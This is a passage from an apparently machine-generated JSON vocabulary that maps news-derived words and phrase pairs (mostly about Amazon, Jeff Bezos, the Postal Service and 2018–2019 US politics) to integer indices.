archer": 143497, "watching futures": 143498, "marriott pilot": 143499, "government plus": 143500, "times spokesperson": 143501, "close set": 143502, "venom official": 143503, "oil advanced": 143504, "major effect": 143505, "members leaving": 143506, "workroom": 143507, "asian region": 143508, "adviser matthew": 143509, "proposals political": 143510, "moment brian": 143511, "jobs political": 143512, "reported 200": 143513, "rates fedex": 143514, "notorious liar": 143515, "review purposes": 143516, "crossfire": 143517, "letter telling": 143518, "american idea": 143519, "mcgregor": 143520, "kingdoms taste": 143521, "club jumped": 143522, "signature references": 143523, "really consumers": 143524, "does recommend": 143525, "raised parcel": 143526, "roadways": 143527, "edition globally": 143528, "weather virginia": 143529, "ended purdue": 143530, "man bezos": 143531, "doing right": 143532, "cristina barcelona": 143533, "owlfirstitem": 143534, "2018 initial": 143535, "set buy": 143536, "funeral proceedings": 143537, "gutter": 143538, "posted billion": 143539, "sent 600": 143540, "cnn anderson": 143541, "publisher david": 143542, "missing hawaii": 143543, "wallet demonstrates": 143544, "dishart": 143545, "standard letters": 143546, "hired sanchez": 143547, "marring": 143548, "endeavors meet": 143549, "rekognition asking": 143550, "doesn owe": 143551, "company announced": 143552, "amazon free": 143553, "really giving": 143554, "aws dominant": 143555, "entrenched monopolies": 143556, "karni": 143557, "coauthor": 143558, "emissions co2": 143559, "sobering": 143560, "faso": 143561, "iphones kvaal": 143562, "401k student": 143563, "payment arena": 143564, "news merchandise": 143565, "chavie": 143566, "box contains": 143567, "charleston church": 143568, "deploying cash": 143569, "carol miller": 143570, "recent filing": 143571, "notified": 143572, "binge watching": 143573, "using multiple": 143574, "time calling": 143575, "cap stock": 143576, "goods president": 143577, "expensive lobbying": 143578, "legitimate sockslane": 143579, "amazon blimp": 143580, "website concluded": 143581, "needs money": 143582, "published yelp": 143583, "oxfam": 143584, "technology 202": 143585, "country isn": 143586, "new statutory": 143587, "wadhwa": 143588, "tech shifting": 143589, "constructive": 143590, "users data": 143591, "church doctrine": 143592, "deuce": 143593, "city real": 143594, "inadequate hill": 143595, "amazon dash": 143596, "2015 tg387": 143597, "mounted campaign": 143598, "immensely profitable": 143599, "kids 2018": 143600, "accenture technology": 143601, "crookedhillary": 143602, "alliance": 143603, "arc new": 143604, "imprint melville": 143605, "continued operation": 143606, "new lobbying": 143607, "tumor": 143608, "people lives": 143609, "ghirda": 143610, "overworking employees": 143611, "year competing": 143612, "rates 2018": 143613, "ny thanksgiving": 143614, "couple leaves": 143615, "essay alleging": 143616, "course varney": 143617, "bona": 143618, "edition program": 143619, "internal storage": 143620, "focus domestic": 143621, "ye": 143622, "reflect poorly": 143623, "court says": 143624, "australians killed": 143625, "nixon ghost": 143626, "172 million": 143627, "emergencies haiti": 143628, "onize small": 143629, "costs threatens": 143630, "antitrust violations": 143631, "large behemoths": 143632, "poll health": 143633, "mighty second": 143634, "regularly updated": 143635, "monitoring comcast": 143636, "joseph cut": 143637, "administration gsa": 143638, "amazon tumbled": 143639, "bernank youtube": 143640, "encouraged washington": 143641, "fairness 2019": 143642, "song lines": 143643, "bore tunnels": 143644, "us400 000": 143645, "sanction": 143646, "considered sales": 143647, "story trader": 143648, "totally distracted": 143649, "rep ben": 143650, "soothing": 143651, "blackrock says": 143652, "bother retailers": 143653, "sports stadiums": 143654, "haired lover": 143655, "shot roaming": 143656, "overnight deliveries": 143657, "international retail": 143658, "local government": 143659, "stevens san": 143660, "stalking george": 143661, "americans quest": 143662, "kalanick secretly": 143663, "supposedly vampiric": 143664, "controversies round": 143665, "arbitration": 143666, "russian counterpart": 143667, "million residences": 143668, "company security": 143669, "post met": 143670, "public safety": 143671, "room deciding": 143672, "jimmy carter": 143673, "algorithmic": 143674, "media published": 143675, "aws does": 143676, "say reduction": 143677, "texts including": 143678, "scrutiny don": 143679, "quarter mile": 143680, "used catch": 143681, "promising": 143682, "sun newspaper": 143683, "money machine": 143684, "cjr lyz": 143685, "wants cronyism": 143686, "lyft shows": 143687, "crystal": 143688, "trump demands": 143689, "gothamist": 143690, "workers juxtaposing": 143691, "special constituencies": 143692, "foto sourcelord": 143693, "points lower": 143694, "heil trump": 143695, "mariachi": 143696, "enhanced tracking": 143697, "robinson thank": 143698, "does drive": 143699, "hidespinner containerid": 143700, "tribeca amazon": 143701, "mavy_florian": 143702, "region amazon": 143703, "generate goodwill": 143704, "mein kampf": 143705, "mangement corp": 143706, "zm4dyqeqxl": 143707, "history prior": 143708, "curious customers": 143709, "old tricks": 143710, "penny tax": 143711, "persecution following": 143712, "financially expressed": 143713, "provides case": 143714, "cost saving": 143715, "grandstanding": 143716, "marginalized mixed": 143717, "company filling": 143718, "simply explained": 143719, "yesterday asked": 143720, "available live": 143721, "better informed": 143722, "dc maybe": 143723, "indian warplanes": 143724, "sand hill": 143725, "amer": 143726, "chips david": 143727, "office photo": 143728, "busy engel": 143729, "bythe deal": 143730, "trying hard": 143731, "president ending": 143732, "investor 2018": 143733, "nbc cuts": 143734, "trade adviser": 143735, "editorial director": 143736, "yoga": 143737, "online dominance": 143738, "extra day": 143739, "want antifa": 143740, "digicracy": 143741, "t0 catch": 143742, "frustrating": 143743, "mixed retail": 143744, "organ doctors": 143745, "vt sent": 143746, "models walmart": 143747, "mike tomlin": 143748, "morelli": 143749, "scenes media": 143750, "rights chief": 143751, "inc_canonical_url": 143752, "grassley ia": 143753, "did wrong": 143754, "public attack": 143755, "comeback video": 143756, "small portion": 143757, "amazon produces": 143758, "8h wardrobe": 143759, "reported stocks": 143760, "armstrong": 143761, "meme resurfaces": 143762, "tohold public": 143763, "amazon rate": 143764, "include explicit": 143765, "content congress": 143766, "rules likewise": 143767, "costs walmart": 143768, "guacamole": 143769, "reportedly returned": 143770, "overwhelming": 143771, "slightly stronger": 143772, "walmart report": 143773, "targets interestingly": 143774, "conservatives specifically": 143775, "engrossing": 143776, "yillion": 143777, "home instead": 143778, "stocking": 143779, "bush share": 143780, "behooved": 143781, "trump talk": 143782, "releases following": 143783, "seen surge": 143784, "seek revenge": 143785, "testify khashoggi": 143786, "octane": 143787, "respectfully urge": 143788, "vibram": 143789, "businessmen thirty": 143790, "rise fraction": 143791, "treated immigrants": 143792, "including michigan": 143793, "valuable business": 143794, "government facility": 143795, "restuccia report": 143796, "called neutral": 143797, "575 000": 143798, "estimates grew": 143799, "jibed": 143800, "bald": 143801, "declines bringing": 143802, "cramer sarge": 143803, "mark war": 143804, "purchase information": 143805, "overboard": 143806, "generators": 143807, "consumer welfare": 143808, "programming lost": 143809, "bulls want": 143810, "backed cloud": 143811, "politico new": 143812, "sick burn": 143813, "source community": 143814, "house travel": 143815, "partners source": 143816, "rebirth": 143817, "helps students": 143818, "embrace legalized": 143819, "usps reported": 143820, "jettison": 143821, "shah": 143822, "walker power": 143823, "evaluating usps": 143824, "left americans": 143825, "broadcast network": 143826, "divorce hit": 143827, "publicized strikes": 143828, "pass voting": 143829, "soar": 143830, "warrant": 143831, "walker point": 143832, "unlimited white": 143833, "agency axis": 143834, "great companies": 143835, "french investment": 143836, "individuals affected": 143837, "29348": 143838, "refugee camp": 143839, "guardian senate": 143840, "charged sales": 143841, "author jeff": 143842, "corporation nycedc": 143843, "vote today": 143844, "kingmaker": 143845, "creation followed": 143846, "game": 143847, "uber core": 143848, "know liberals": 143849, "cordoba": 143850, "day drop": 143851, "quran": 143852, "undisclosed sum": 143853, "dirty money": 143854, "economy company": 143855, "obama detractor": 143856, "stupid bring": 143857, "bad thing": 143858, "nationals": 143859, "higher usage": 143860, "taliban trump": 143861, "help upbeat": 143862, "schiff intelligence": 143863, "questions accumulate": 143864, "trump answer": 143865, "multicarrier partnership": 143866, "typeahead make": 143867, "ted williams": 143868, "tragedy": 143869, "war having": 143870, "usps generated": 143871, "2016 event": 143872, "staff lawyers": 143873, "prism sycophants": 143874, "customers joining": 143875, "rationale existed": 143876, "elements 2018": 143877, "barreling forward": 143878, "conclude louis": 143879, "beasley resolved": 143880, "anthony sent": 143881, "855 743": 143882, "owners just": 143883, "acutely felt": 143884, "videoleafurl": 143885, "desired second": 143886, "primarily injects": 143887, "educator walkout": 143888, "275": 143889, "aclu says": 143890, "monrovia indiana": 143891, "getattribute r4ee": 143892, "shareholder equity": 143893, "controversial": 143894, "commerce demand": 143895, "compensates": 143896, "recently saw": 143897, "explained trump": 143898, "markets slip": 143899, "subjects": 143900, "clear loser": 143901, "recipients happy": 143902, "called barnes": 143903, "force president": 143904, "legal insurrection": 143905, "selecting bidders": 143906, "jeff bezos": 143907, "usps long": 143908, "putin responded": 143909, "sears lampert": 143910, "automated archiving": 143911, "owner donald": 143912, "including cash": 143913, "candidates facebook": 143914, "director david": 143915, "site pleased": 143916, "washington": 143917, "meal trucks": 143918, "adviser kellyanne": 143919, "investigations alabama": 143920, "looming threat": 143921, "murphy partner": 143922, "zealand bans": 143923, "hire employees": 143924, "invented": 143925, "exactly unstoppable": 143926, "allegedly carried": 143927, "pursuing business": 143928, "zone projects": 143929, "amerika destroy": 143930, "paid americans": 143931, "technology pointing": 143932, "retailer wayfair": 143933, "portfolio share": 143934, "retail number": 143935, "central park": 143936, "nasa projects": 143937, "uses sh": 143938, "previous deal": 143939, "alums katie": 143940, "corrupted": 143941, "tech billionaire": 143942, "trivedi": 143943, "space fighting": 143944, "really comment": 143945, "maxx target": 143946, "elections": 143947, "reacts": 143948, "added wrinkle": 143949, "merchants selling": 143950, "inhabits": 143951, "company continue": 143952, "bezoses split": 143953, "bezostheclown realdonaldtrump": 143954, "trump handling": 143955, "nice ish": 143956, "lends": 143957, "anymore just": 143958, "holding fish": 143959, "dalio founder": 143960, "6founder chairman": 143961, "turkey financial": 143962, "billion jedi": 143963, "keith ellisonkeith": 143964, "based web": 143965, "korean": 143966, "joan didion": 143967, "film review": 143968, "cnn don": 143969, "eventful adventure": 143970, "note investors": 143971, "better drink": 143972, "fresh progressive": 143973, "sizes panoramic": 143974, "novelty": 143975, "potent weapons": 143976, "2016 presidential": 143977, "swirling": 143978, "exorcises monsters": 143979, "released dvd": 143980, "typically dry": 143981, "confirm": 143982, "recent stories": 143983, "squishy": 143984, "stories illustrate": 143985, "2018 documentary": 143986, "judgment calls": 143987, "telecasts": 143988, "delivery walmart": 143989, "headline walmart": 143990, "quips jon": 143991, "wantto": 143992, "russia putin": 143993, "surrounding neighborhood": 143994, "promised families": 143995, "coveted white": 143996, "tweeted yesterday": 143997, "york train": 143998, "iframes insecure": 143999, "cathdral": 144000, "containerid replace": 144001, "2019 qanon": 144002, "1195": 144003, "benefits transfer": 144004, "undertook": 144005, "894 new": 144006, "reporting ami": 144007, "win contracts": 144008, "wedding anniversary": 144009, "increasing attention": 144010, "campus accountability": 144011, "affordable service": 144012, "airbus": 144013, "media ceo": 144014, "foreign growth": 144015, "beloved children": 144016, "step right": 144017, "sharing remained": 144018, "tellado": 144019, "friendly text": 144020, "ladd tells": 144021, "pharmacy tasks": 144022, "selling child": 144023, "parcels nonetheless": 144024, "results 2018": 144025, "taking names": 144026, "india collective": 144027, "645": 144028, "punching trump": 144029, "shop brave": 144030, "effectiveness": 144031, "large accounting": 144032, "work nat": 144033, "tech incubator": 144034, "security implications": 144035, "yearlong search": 144036, "reside": 144037, "york departure": 144038, "select single": 144039, "broward state": 144040, "don collect": 144041, "fbi investigated": 144042, "huma abedin": 144043, "insights called": 144044, "started moving": 144045, "haven changed": 144046, "place says": 144047, "team understands": 144048, "paper staff": 144049, "heartsick": 144050, "drug spoon": 144051, "clovery": 144052, "biggest loser": 144053, "basis points": 144054, "paraiba image": 144055, "workers lost": 144056, "fed board": 144057, "left group": 144058, "tim mullaney": 144059, "city high": 144060, "action smaller": 144061, "plate": 144062, "naa adai": 144063, "magana ap": 144064, "q0 t9x": 144065, "times really": 144066, "lanterns": 144067, "rebuked amazon": 144068, "silliness": 144069, "mastrel": 144070, "moore saga": 144071, "approach gold": 144072, "emphasize testing": 144073, "howard reportedly": 144074, "boricua twang": 144075, "amazon stumbles": 144076, "wealth amazon": 144077, "medill school": 144078, "rocked silicon": 144079, "2019 fortune": 144080, "trump chuck": 144081, "scotus louisiana": 144082, "case say": 144083, "jews accepted": 144084, "currently embroiled": 144085, "cemetery": 144086, "federal program": 144087, "matt hubbard": 144088, "poorer 2017": 144089, "amazon outlook": 144090, "mylesmill": 144091, "group saw": 144092, "nominated people": 144093, "continue 2018": 144094, "tesla stock": 144095, "aaron spelling": 144096, "chairperson anti": 144097, "racism washington": 144098, "stores seeing": 144099, "expressed commitment": 144100, "hq2 evenly": 144101, "difference tucker": 144102, "content type": 144103, "causes controversy": 144104, "rigs": 144105, "choppy waters": 144106, "push companies": 144107, "rbg justice": 144108, "famously close": 144109, "bezos click": 144110, "contact brendan": 144111, "quipped unless": 144112, "apply tax": 144113, "today zacks": 144114, "typically stem": 144115, "local traders": 144116, "ryan amazon": 144117, "091": 144118, "represent genuine": 144119, "commissioner jessica": 144120, "unit value": 144121, "clogged ken": 144122, "3a": 144123, "leader nancy": 144124, "low corn": 144125, "brief meeting": 144126, "president abraham": 144127, "belgrade": 144128, "migrate military": 144129, "perks": 144130, "point vestager": 144131, "bull market": 144132, "certain technical": 144133, "osgood": 144134, "counterfeiting amazon": 144135, "thresholds avoid": 144136, "day looking": 144137, "men novelty": 144138, "lonely childhood": 144139, "offense given": 144140, "emergency andrew": 144141, "tempered child": 144142, "punish postal": 144143, "month reuters": 144144, "iconic looks": 144145, "drink choice": 144146, "tax happen": 144147, "warned repeatedly": 144148, "client expertise": 144149, "honor thy": 144150, "general michael": 144151, "adults watch": 144152, "face increased": 144153, "appoints people": 144154, "freedom schiff": 144155, "analysts revenue": 144156, "analytica episode": 144157, "fly trump": 144158, "lobbying budget": 144159, "crude oil": 144160, "begging amazon": 144161, "organization expressed": 144162, "ami plan": 144163, "companies opening": 144164, "general cancer": 144165, "entirety vestager": 144166, "amazon agenda": 144167, "decent retirement": 144168, "millennial pink": 144169, "reminiscent": 144170, "portals": 144171, "organisation president": 144172, "minnesota": 144173, "discounts": 144174, "resistance movement": 144175, "tohakrvr4h nws": 144176, "parliament according": 144177, "ottoman era": 144178, "antitrust fair": 144179, "nation editorial": 144180, "amazon mta": 144181, "sexism ageism": 144182, "view": 144183, "statement ami": 144184, "2017 gay": 144185, "oz residents": 144186, "litmus test": 144187, "setups": 144188, "william mann": 144189, "says state": 144190, "shares outstanding": 144191, "holdings giving": 144192, "enterprise messaging": 144193, "urban community": 144194, "ptsd indonesia": 144195, "infrastructure inside": 144196, "look spectacular": 144197, "amazon accidentally": 144198, "sought lost": 144199, "issues tariffs": 144200, "isolate": 144201, "represented ami": 144202, "weapon": 144203, "commercial scale": 144204, "jumps 12bn": 144205, "cheery": 144206, "turnout push": 144207, "reuters white": 144208, "conditions suggest": 144209, "times pete": 144210, "trading limited": 144211, "badly wanted": 144212, "disbar": 144213, "elite criticism": 144214, "consent regarding": 144215, "wife governed": 144216, "advised employees": 144217, "revelation": 144218, "extolling virtues": 144219, "weinswig": 144220, "evidence bezos": 144221, "100 person": 144222, "sale numbers": 144223, "date compared": 144224, "major charitable": 144225, "oneself": 144226, "action lately": 144227, "interprets": 144228, "cleveland tennessee": 144229, "rhetorical": 144230, "work closely": 144231, "deliberations brennan": 144232, "recently shopping": 144233, "forwarding": 144234, "bloomberg aim": 144235, "tech strength": 144236, "surprise bezos": 144237, "pine beetle": 144238, "providing financial": 144239, "carrell bezo": 144240, "statt": 144241, "hassett meredith": 144242, "unfair subsidy": 144243, "1316 bought": 144244, "taxes required": 144245, "half stars": 144246, "leaking team": 144247, "called mueller": 144248, "target don": 144249, "1996": 144250, "safety conditions": 144251, "market oil": 144252, "bezos private": 144253, "apatow": 144254, "technology journalist": 144255, "youtube conspiracy": 144256, "remain competitive": 144257, "best bed": 144258, "departure": 144259, "unrelenting": 144260, "delong joanne": 144261, "asset returns": 144262, "syrian refugee": 144263, "terrorist attacks": 144264, "derail trump": 144265, "tdopp": 144266, "delivery companies": 144267, "kavanaugh headlineplaintext": 144268, "waterfront including": 144269, "projects funded": 144270, "unacknowledged": 144271, "owned grocer": 144272, "nongovernmental individuals": 144273, "spent fixing": 144274, "helped facilitate": 144275, "columbia university": 144276, "london soho": 144277, "headlineplaintext cooper": 144278, "media continues": 144279, "email probe": 144280, "proposition": 144281, "amazon motto": 144282, "appear saner": 144283, "day global": 144284, "china rebound": 144285, "colleges 2018": 144286, "williams president": 144287, "dow slumps": 144288, "tonky winky": 144289, "giant eclipsed": 144290, "wisconsin gov": 144291, "oaktree capital": 144292, "wolf publisher": 144293, "schlosser geekwire": 144294, "amazon buseyisms": 144295, "amazon 1195": 144296, "reported download": 144297, "really clicked": 144298, "deal began": 144299, "whirlwind tour": 144300, "learned earlier": 144301, "left appear": 144302, "hanna reported": 144303, "metaphorical headaches": 144304, "point shoppers": 144305, "state according": 144306, "city image": 144307, "revenue channel": 144308, "divisive political": 144309, "heat airs": 144310, "plumbing": 144311, "shook throwaway": 144312, "wore purple": 144313, "crash test": 144314, "director chair": 144315, "wife sanchez": 144316, "kahan": 144317, "reserve quantitative": 144318, "government insisted": 144319, "concealed": 144320, "simply disregard": 144321, "bloomberg emissaries": 144322, "companies argues": 144323, "370": 144324, "agency financial": 144325, "micromanage": 144326, "creating sustainable": 144327, "tiger nasdaq": 144328, "legit amazon": 144329, "stock moves": 144330, "years driving": 144331, "nunberg": 144332, "democrats seek": 144333, "metapack significant": 144334, "remit sales": 144335, "oil price": 144336, "jersey warehouse": 144337, "did slightly": 144338, "farrington": 144339, "later publish": 144340, "pinterest apparently": 144341, "socialite fought": 144342, "tumult": 144343, "craig timberg": 144344, "phrase alternative": 144345, "historic prosperity": 144346, "minute plan": 144347, "offered billions": 144348, "chain kroger": 144349, "intelligence cloud": 144350, "eyed readers": 144351, "big headache": 144352, "krugman new": 144353, "firster caller": 144354, "0938et copyright": 144355, "mueller rejected": 144356, "wasserman schultz": 144357, "mackey annoyance": 144358, "free loan": 144359, "director bezos": 144360, "accessories": 144361, "scathing joint": 144362, "priced higher": 144363, "tire installation": 144364, "struggling postal": 144365, "media accuracy": 144366, "assets 181007060449": 144367, "journalist added": 144368, "amazon innovation": 144369, "eat plates": 144370, "renewed annually": 144371, "rekognition spokesperson": 144372, "oregon reports": 144373, "issuing temporary": 144374, "bash": 144375, "care wages": 144376, "amid outrage": 144377, "factories frank": 144378, "photo autoplay": 144379, "unity soundbite": 144380, "yiwu wenxuan": 144381, "acknowledged": 144382, "daniel politico": 144383, "apple tim": 144384, "legendary hollywood": 144385, "cyberspace": 144386, "miles 130": 144387, "companies lowest": 144388, "undergoing constant": 144389, "fy16": 144390, "environmental cost": 144391, "skynews amazon": 144392, "amazon corporate": 144393, "inclusionary": 144394, "faster growing": 144395, "anderson director": 144396, "axios report": 144397, "billion richest": 144398, "trump postpones": 144399, "peppler clarkson": 144400, "politically leftist": 144401, "comptroller susana": 144402, "richmond hoosiers": 144403, "jobs construction": 144404, "unpaved br": 144405, "telltale sign": 144406, "reducing overcrowding": 144407, "fast start": 144408, "amazon avoiding": 144409, "economics amazon": 144410, "ceo reed": 144411, "11justices davidoatkins": 144412, "insult hopefully": 144413, "d8 j8i": 144414, "randymh randymh": 144415, "labor cost": 144416, "retailing group": 144417, "impose roughly": 144418, "crown prince": 144419, "privacy rights": 144420, "ominously": 144421, "twitter zguz": 144422, "futures unroll": 144423, "gtld process": 144424, "negotiations occurred": 144425, "stephanie butnick": 144426, "right education": 144427, "nation warts": 144428, "site administrators": 144429, "start compiling": 144430, "retailers sales": 144431, "department led": 144432, "privately financed": 144433, "delayed implementing": 144434, "die iq": 144435, "valuations people": 144436, "dramatically scale": 144437, "feelgoods": 144438, "hold elon": 144439, "hess halliburton": 144440, "protections gradually": 144441, "malmquist acknowledges": 144442, "afghan pullout": 144443, "hit bezos": 144444, "deal 2018": 144445, "307": 144446, "mccartney lily": 144447, "daniel coats": 144448, "based businesses": 144449, "ruchika": 144450, "completely break": 144451, "faux nikes": 144452, "whitefish project": 144453, "traded companies": 144454, "better spent": 144455, "world holding": 144456, "reviews insightful": 144457, "prodigious output": 144458, "risking return": 144459, "trump preoccupation": 144460, "donkey \u0430knocked\u0430": 144461, "lemoyne owen": 144462, "2018 tester": 144463, "recent developments": 144464, "tiffany": 144465, "cnn laura": 144466, "coal products": 144467, "billionaire boondoggle": 144468, "impunity": 144469, "opioid painkiller": 144470, "woman named": 144471, "chief political": 144472, "free books": 144473, "legal monitor": 144474, "turquoise": 144475, "capito": 144476, "specialists": 144477, "howthe negative": 144478, "joint drills": 144479, "bassin agreed": 144480, "allow consumers": 144481, "resistance nunes": 144482, "companies hope": 144483, "political history": 144484, "essentially set": 144485, "bestselling author": 144486, "television television": 144487, "score big": 144488, "refined": 144489, "administration prompting": 144490, "average slid": 144491, "service assume": 144492, "sorting facilities": 144493, "world sulzberger": 144494, "sharp dips": 144495, "burger restaurant": 144496, "republic feedback": 144497, "offered set": 144498, "pentagon appears": 144499, "suffered big": 144500, "barrels": 144501, "inclusiveness getting": 144502, "cocktail hour": 144503, "imposes": 144504, "tagged books": 144505, "abuse suggested": 144506, "considered truly": 144507, "earn": 144508, "daring revelations": 144509, "watch company": 144510, "police teen": 144511, "women preachers": 144512, "840 billion": 144513, "economically speaking": 144514, "states usually": 144515, "britain exit": 144516, "amazon anti": 144517, "1011thewiz yea": 144518, "cook visited": 144519, "graduation": 144520, "scottish": 144521, "yielded results": 144522, "collude": 144523, "conservation units": 144524, "concrete steps": 144525, "plus coca": 144526, "contracting tech": 144527, "enormous power": 144528, "expect brazil": 144529, "youtube outstanding": 144530, "olaf": 144531, "policies including": 144532, "prospective jobs": 144533, "rex curry": 144534, "emperor": 144535, "targeting single": 144536, "know ran": 144537, "fda announced": 144538, "scare away": 144539, "sworn declarations": 144540, "currency changes": 144541, "possibility": 144542, "including fox": 144543, "awarding amazon": 144544, "specify trump": 144545, "subsections national": 144546, "shop bodies": 144547, "president wouldget": 144548, "rt": 144549, "level donations": 144550, "outlays": 144551, "counts national": 144552, "headquartered": 144553, "history passed": 144554, "national regulatory": 144555, "filibuster": 144556, "high cpi": 144557, "135 easy": 144558, "violent": 144559, "wool clothes": 144560, "p7a 1812296334": 144561, "florida oysters": 144562, "inflamed": 144563, "debate jostled": 144564, "despite major": 144565, "democrat claims": 144566, "pentagon rigged": 144567, "cloud storage": 144568, "current way": 144569, "brown": 144570, "videocardcontents datecreated": 144571, "just hopes": 144572, "abatements": 144573, "congressional republicans": 144574, "piloting program": 144575, "elevation set": 144576, "rare brain": 144577, "briefly suspended": 144578, "city policies": 144579, "applications bartiromo": 144580, "calif brown": 144581, "unsavory actions": 144582, "997 children": 144583, "necessarily good": 144584, "giant officials": 144585, "fistula growing": 144586, "black cat": 144587, "video uploaded": 144588, "latest escalation": 144589, "candidate martha": 144590, "including apparel": 144591, "bungle": 144592, "sexist implication": 144593, "jedi puts": 144594, "lara": 144595, "improve": 144596, "final price": 144597, "george just": 144598, "market chukumba": 144599, "tweeting critical": 144600, "city plan": 144601, "shortest": 144602, "r4ee f4e": 144603, "kill bad": 144604, "marsha blackburnmarsha": 144605, "states post": 144606, "ringer dim": 144607, "carell poked": 144608, "prime really": 144609, "baba": 144610, "elemental technologies": 144611, "illicit sugar": 144612, "sales perspective": 144613, "new deal": 144614, "encountered imposter": 144615, "teachers worry": 144616, "governance issues": 144617, "bezos trip": 144618, "handmaiden helms": 144619, "nhl team": 144620, "ravages": 144621, "weber": 144622, "amazon employs": 144623, "407": 144624, "infringement complaints": 144625, "restorative": 144626, "year trying": 144627, "seller tactics": 144628, "amzn date": 144629, "wage theft": 144630, "storms temperatures": 144631, "buys jim": 144632, "paying little": 144633, "level earlier": 144634, "rating according": 144635, "alison brie": 144636, "deforestation rainforest": 144637, "contending amazon": 144638, "trade tax": 144639, "story titled": 144640, "reflects attack": 144641, "years barclays": 144642, "southport": 144643, "privatizers": 144644, "cnbc want": 144645, "just fulfillment": 144646, "personal medical": 144647, "figures documenting": 144648, "competitive house": 144649, "disney recent": 144650, "submerged": 144651, "accommodate caring": 144652, "tank says": 144653, "quite figured": 144654, "assange wikileaks": 144655, "line guidance": 144656, "picking projects": 144657, "unverified russian": 144658, "criminal sentencing": 144659, "larger losses": 144660, "filed 250": 144661, "development": 144662, "ocasio": 144663, "cuomo released": 144664, "uk job": 144665, "shopper spending": 144666, "rahn": 144667, "inevitable trouble": 144668, "main carbon": 144669, "pitchbook": 144670, "amazon local": 144671, "winning bidder": 144672, "episodes given": 144673, "country ellison": 144674, "multinationals hold": 144675, "518 8781": 144676, "worse mike": 144677, "push customers": 144678, "outlet elizabeth": 144679, "selling oil": 144680, "1026et copyright": 144681, "plan unveiled": 144682, "susquehanna financial": 144683, "stanford business": 144684, "stuffy dressage": 144685, "fulfillment quandary": 144686, "underserved groups": 144687, "requires national": 144688, "instrumentalities": 144689, "tour anti": 144690, "half overs": 144691, "exceedingly small": 144692, "114 million": 144693, "business plus": 144694, "increasingly shifts": 144695, "nerdwallet": 144696, "undoubtedly exercised": 144697, "jeff luck": 144698, "ranges": 144699, "search team": 144700, "maloy simonmaloy": 144701, "ba80967b7e99": 144702, "linear": 144703, "congratulations": 144704, "executives attempting": 144705, "dollar profits": 144706, "help queens": 144707, "india analysts": 144708, "baldwin impersonation": 144709, "computing contract": 144710, "need spinach": 144711, "second warning": 144712, "prompt": 144713, "punching bags": 144714, "1992 following": 144715, "ohio larry": 144716, "3bn net": 144717, "provide traditional": 144718, "factored": 144719, "mccann": 144720, "carell mocks": 144721, "tropical medicine": 144722, "monumental collapse": 144723, "planned contradicting": 144724, "marketplace service": 144725, "survival": 144726, "heart dad": 144727, "state runaway": 144728, "juno": 144729, "vague gibberish": 144730, "bjarke ingels": 144731, "coded items": 144732, "wales": 144733, "finalists bezos": 144734, "did turn": 144735, "solution solves": 144736, "compliance exchange": 144737, "confident feel": 144738, "yorkers wanted": 144739, "process zinke": 144740, "style murder": 144741, "liberal media": 144742, "union supporters": 144743, "handlers": 144744, "kind gift": 144745, "wallet amazon": 144746, "basically decide": 144747, "defense family": 144748, "book deal": 144749, "retirees health": 144750, "public assistance": 144751, "reflecting recent": 144752, "bozo washington": 144753, "pagex pagey": 144754, "cim limited": 144755, "bleak day": 144756, "believe survivors": 144757, "media embrace": 144758, "island according": 144759, "press lightrocket": 144760, "exploiting usps": 144761, "prurient details": 144762, "rivera": 144763, "guards": 144764, "ufhonteva5 seth": 144765, "assure": 144766, "xom sgn": 144767, "advertising": 144768, "ago missing": 144769, "remain alisha": 144770, "videoplayer videoinstance": 144771, "titan canopy": 144772, "vanquished": 144773, "efficiencies": 144774, "drive amazon": 144775, "new outlets": 144776, "portable fabric": 144777, "lawful tax": 144778, "unblock people": 144779, "behaved": 144780, "hosts amazon": 144781, "rodrigo junqueira": 144782, "confirmation tersely": 144783, "cortez magnet": 144784, "client items": 144785, "walmarts targets": 144786, "senate democrat": 144787, "clumsy attempt": 144788, "senate commerce": 144789, "costing taxpayers": 144790, "rates earlier": 144791, "palantir plays": 144792, "game tournament": 144793, "company valuation": 144794, "insult fest": 144795, "secretary john": 144796, "mueller russia": 144797, "assistant apple": 144798, "false compassion": 144799, "halt": 144800, "played key": 144801, "apparently wounded": 144802, "usual single": 144803, "war negotiations": 144804, "availability submitted": 144805, "man clout": 144806, "screen adaptations": 144807, "legitimate public": 144808, "tra": 144809, "portfolio 2018": 144810, "previous broadsheets": 144811, "maybe attractive": 144812, "based commerce": 144813, "tucker arlington": 144814, "ramkumar": 144815, "animals": 144816, "frozen photo": 144817, "president stweets": 144818, "thing standing": 144819, "fewer number": 144820, "mkts close": 144821, "husband casey": 144822, "average dividend": 144823, "holland": 144824, "cooling growth": 144825, "corporate state": 144826, "philfrobisher": 144827, "sorkin business": 144828, "immigration enforcement": 144829, "roads posted": 144830, "deport reunited": 144831, "centre ideally": 144832, "controls close": 144833, "accelerating foreclosure": 144834, "beautiful regions": 144835, "article cybersecurity": 144836, "constitute obstruction": 144837, "department joining": 144838, "bic corporation": 144839, "tariq hanna": 144840, "akutagawa": 144841, "company cares": 144842, "unamazonian": 144843, "moderates clearly": 144844, "trending msnbc": 144845, "stakes sooner": 144846, "mass censorship": 144847, "growth stocks": 144848, "bolsonaro anti": 144849, "big capital": 144850, "paulo barreto": 144851, "adult stepdaughter": 144852, "gusts": 144853, "claiming 104": 144854, "pratt background": 144855, "duty property": 144856, "keratin": 144857, "breakfast briefing": 144858, "chiles": 144859, "section 337": 144860, "conard": 144861, "decoratevideoapi var": 144862, "schapperts case": 144863, "capex investments": 144864, "investigating amazon": 144865, "undermine public": 144866, "cannibalistic": 144867, "verse": 144868, "coach larry": 144869, "love": 144870, "heavy": 144871, "reform thinking": 144872, "calling mexican": 144873, "conservatives excluding": 144874, "crave worthy": 144875, "new lawsuit": 144876, "recorded level": 144877, "draft doesn": 144878, "ink factory": 144879, "conf parkland": 144880, "sharply shifted": 144881, "checkpoints just": 144882, "heiress francoise": 144883, "workers amazon": 144884, "largest producer": 144885, "amazon rfp": 144886, "interview colorado": 144887, "technically start": 144888, "amazon just": 144889, "organizations remain": 144890, "princess margaret": 144891, "drivers ianniello": 144892, "hurley": 144893, "issued week": 144894, "cause": 144895, "memoirs": 144896, "sun spots": 144897, "autonomous cars": 144898, "mechanisms including": 144899, "collection returns": 144900, "donnelly sold": 144901, "just china": 144902, "northeast powerful": 144903, "aatish taseer": 144904, "nonprofits say": 144905, "treadmill amazon": 144906, "smorodin university": 144907, "brigitte brantley": 144908, "wealth banks": 144909, "science sports": 144910, "kale": 144911, "america friends": 144912, "sliced": 144913, "irresponsible lending": 144914, "1999 donald": 144915, "newswers": 144916, "rights owner": 144917, "recession technology": 144918, "pressured alibaba": 144919, "heads": 144920, "intensely": 144921, "grasslands desert": 